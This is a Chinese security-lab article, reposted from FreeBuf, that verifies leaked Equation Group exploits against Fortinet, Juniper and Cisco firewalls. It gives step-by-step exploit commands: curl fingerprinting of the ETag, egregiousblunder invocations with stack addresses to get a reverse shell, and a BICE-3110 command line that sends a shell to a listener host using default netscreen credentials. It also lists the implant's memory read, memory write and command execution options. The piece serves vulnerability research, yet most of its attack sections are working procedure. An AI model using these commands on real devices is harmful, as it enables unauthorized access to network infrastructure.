NSA(美国国安局)泄漏Exploit分析

*本文原创作者:tigerlab,本文属FreeBuf原创奖励计划,未经许可禁止转载

2016年8月16日,黑客团伙“The Shadow Brokers”声称自己入侵了“Equation Group“(方程式组织),并将他们从该黑客组织的计算机系统中所获取到的部分黑客工具泄漏在了互联网上。

泰格实验室第一时间对此次泄露的文件进行了深入分析,多数漏洞的验证分析情况已有同行分享,现将我们对另外三个未见分析的漏洞的验证分析分享给大家,其中包括fortinet、juniper、Cisco三种设备漏洞。

1、fortinet漏洞验证

该漏洞主要是Cookie解析器存在缓冲区溢出漏洞,远程攻击者可通过发送特制的HTTP请求利用该漏洞执行任意代码。

CVE编号:CVE-2016-6909

以下版本受到影响:

Fortinet FortiOS 4.1.11之前的4.x版本, 4.2.13之前的4.2.x版本, 4.3.9之前的4.3.x版本, FortiSwitch 3.4.3之前的版本。

漏洞验证过程如下:

获取目标etag 判断版本类型

curl -X HEAD –v http://xxx.xxx.xxx.xxx/

Etag:480d772a

如果etag小于4DXXXXXX,适用版本 3;

如果etag 大于 4DXXXXXX,判断是否需要cookienum

curl -X HEAD  –v   http://xxx.xxx.xxx.xxx/login

APSCOOKIE=0&0 ,在执行命令时不需要设置cookienum

APSCOOKIE_2930800995=0&0 ,在执行命令时需要设置cookienum,且版本为4nc

测试etag小于4DXXXXXX,且不存在cookienum

1)获取溢出地址

判断etag是否在存在于配置文件EGBL.config中,例:

如不存在可通过以下命令获取堆栈地址:

./egregiousblunder_3.0.0.1 -t xxx.xxx.xxx.xxx-p 80 -l 5432 –ssl 0 -v –config ./EGBL.config –wam 10

该命令只适用于etag小于4DXXXXXX,且不存在cookienum,在其他版本中均失效,无法获取堆栈地址。

命令执行如下:

成功获取堆栈地址 0Xbffff274

2)执行shellcode,返回shell

可通过直接传入stack堆栈地址来反弹shell,

./egregiousblunder_3.0.0.1 -t xxx.xxx.xxx.xxx -p 80 -l 5432 --ssl 0 -v --stack 0xbffff274  --nopen --gen 3

也可将etag写入配置文件

ETAG = 480d772a : 0xbffff274

./egregiousblunder_3.0.0.1 -t xxx.xxx.xxx.xxx -p 80 -l 5432 --ssl 0 -v –etag 480d772a --nopen --gen 3 --config ./EGBL.config

已成功返回shell,执行-ls命令获取文件目录信息。

本次测试主要低版本的飞塔设备,etag小于4DXXXXXX。由于未深入该漏洞exploit溢出过程,所以针对其他版本无法通过命令获取stack的,通过配置文件中的内存地址遍历进行了测试,也可以成功反弹shell。

2、juniper漏洞验证

该漏洞需要先获得juniper设备口令,在根据设备版本型号进行攻击,获取系统权限。

telnet登陆获取设备版本信息

设备版本号是ssg5ssg20.6.1.0r2.0,查看Dats里面是否存在该设备文件

漏洞复现

在BARGLEE文件夹中BICE-3110是juniper漏洞利用程序

./BICE-3110 -R *.*.*.* //目标ip -D 127.0.0.1 //接收反弹shell 主机ip -d 5555 //接收反弹shell 主机端口 -m telnet //登陆模式 ssh/telnet -t ../..//Dats/ssg5ssg20.6.1.0r2.0.xml //攻击代码配置 -u netscreen //设备账号 -p netscreen //设备口令

成功之后返回设备基本信息,可选择2种shell权限,juniper交互shell及BI shel

Interactiver Console 实际就是juinper telnet进去之后的命令操作。

BI shell

可见可以执行的选项共有6项:

返回目标状态 卸载BARGLEE 安装BARGLEE 读内存 写内存 命令执行

根据script中BARICE.txt安装说明,尝试进行barglee植入

多次尝试bin文件类型,均未能成功植入,不能对其进行深入性分析。

3、Cisco EPBA漏洞验证

该漏洞与juniper一样需要先获取设备口令,之后通过溢出攻击获取系统权限。

漏洞复现

显示结果为received mtu – EPBA: ok, payload: ok,表示溢出成功。

与此同时,PIX722 防火墙控制端则会显示缓冲区溢出

接下来我们根据操作提示执行bride-1120这个脚本, 在执行“1”选项后可以判断是否正常连接,连接成功则返回Session D-H Key

执行“8”之后可以查看BRICE的自带shell功能。

多次尝试写入BatigerlabnanaGlee提示版本不对无法写入。

分析发现其读取目标文件前4个字节来得到版本号,通过对文件夹内所有文件进

行了搜索也未找到合适的植入程序。

总结

本文主要分享的是forinet、juniper、cisco三个漏洞利用文件的验证思路及过程。在

分析过程中我们进行了大量测试实验,想尽可能还原其整个攻击流程,但由于部分关键文件缺失,未能继续对其进行完整分析。如果有小伙伴有更好的分析思路,可与我们交流。

*本文原创作者:tigerlab,本文属FreeBuf原创奖励计划,未经许可禁止转载

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2016-09-12

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏信安之路

简单粗暴的文件上传漏洞

文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接。但是想真正把这个漏洞利用好却不那么容易,其中有很多技巧,也有很多需要掌握的...

1.2K00
来自专栏技术博文

H5缓存机制浅析

1 H5 缓存机制介绍 H5,即 HTML5,是新一代的 HTML 标准,加入很多新的特性。离线存储(也可称为缓存机制)是其中一个非常重要的特性。H5 引入的离...

44680
来自专栏python学习指南

python爬虫(六)_urllib2:handle处理器和自定义opener

本文将介绍handler处理器和自定义opener,更多内容请参考:python学习指南 opener和handleer 我们之前一直使用的是urllib...

29480
来自专栏互联网技术栈

Redis 队列

举例: 队列主要用在系统解耦、流量削峰、异步处理、数据顺序处理等场景。新手在使用时可能会犯一些常见的错误。下面讲一个新手容易犯的错误,在这个示例中把队列的入...

55850
来自专栏散尽浮华

进程管理利器-supervisor部署记录

一、简单介绍 supervisor是用来管理进程的一个工具,止于为什么要用supervisor,是因为相对于linux传统的进程管理方式来说,它有很多的优势: ...

41580
来自专栏wireboy编程加油站

用Vue.js搭建一个小说阅读网站

这是一个使用vue.js + mint-ui + .net core api的小说网站。

55000
来自专栏逸鹏说道

CSharp for Jupyter Notebook

之前说有机会就说下Linux下如何搭建C#版的交互编程,今天写篇文章还债^_^ Win下比较简单,可以自己看官方文档https://github.com/zab...

21930
来自专栏Java技术分享

PDF.js专题

前言     英文是github上的原文,找不到中文资料,我根据自己理解翻译的,有些词意思拿不准就直接把单词留在原地了,看这个文档应该可以凑合着用了。 PDF....

1.9K100
来自专栏沈唁志

解决 TP3 框架 引入 Log.class.php 文件报错方法

朋友的这个问题真的很无语,可能会出现在使用 SVN 的情况下,使用 Git 进行团队开发忽略以后是不会出现这种问题的

34110
来自专栏运维

Nginx1.10.2稳定版本tcp四层负载安装配置过程略解

nginx1.10.2(2016.10.18)是最新稳定版,适合线上运行,最新开发版为1.11.8(2016.12.27)

14910

扫码关注云+社区

领取腾讯云代金券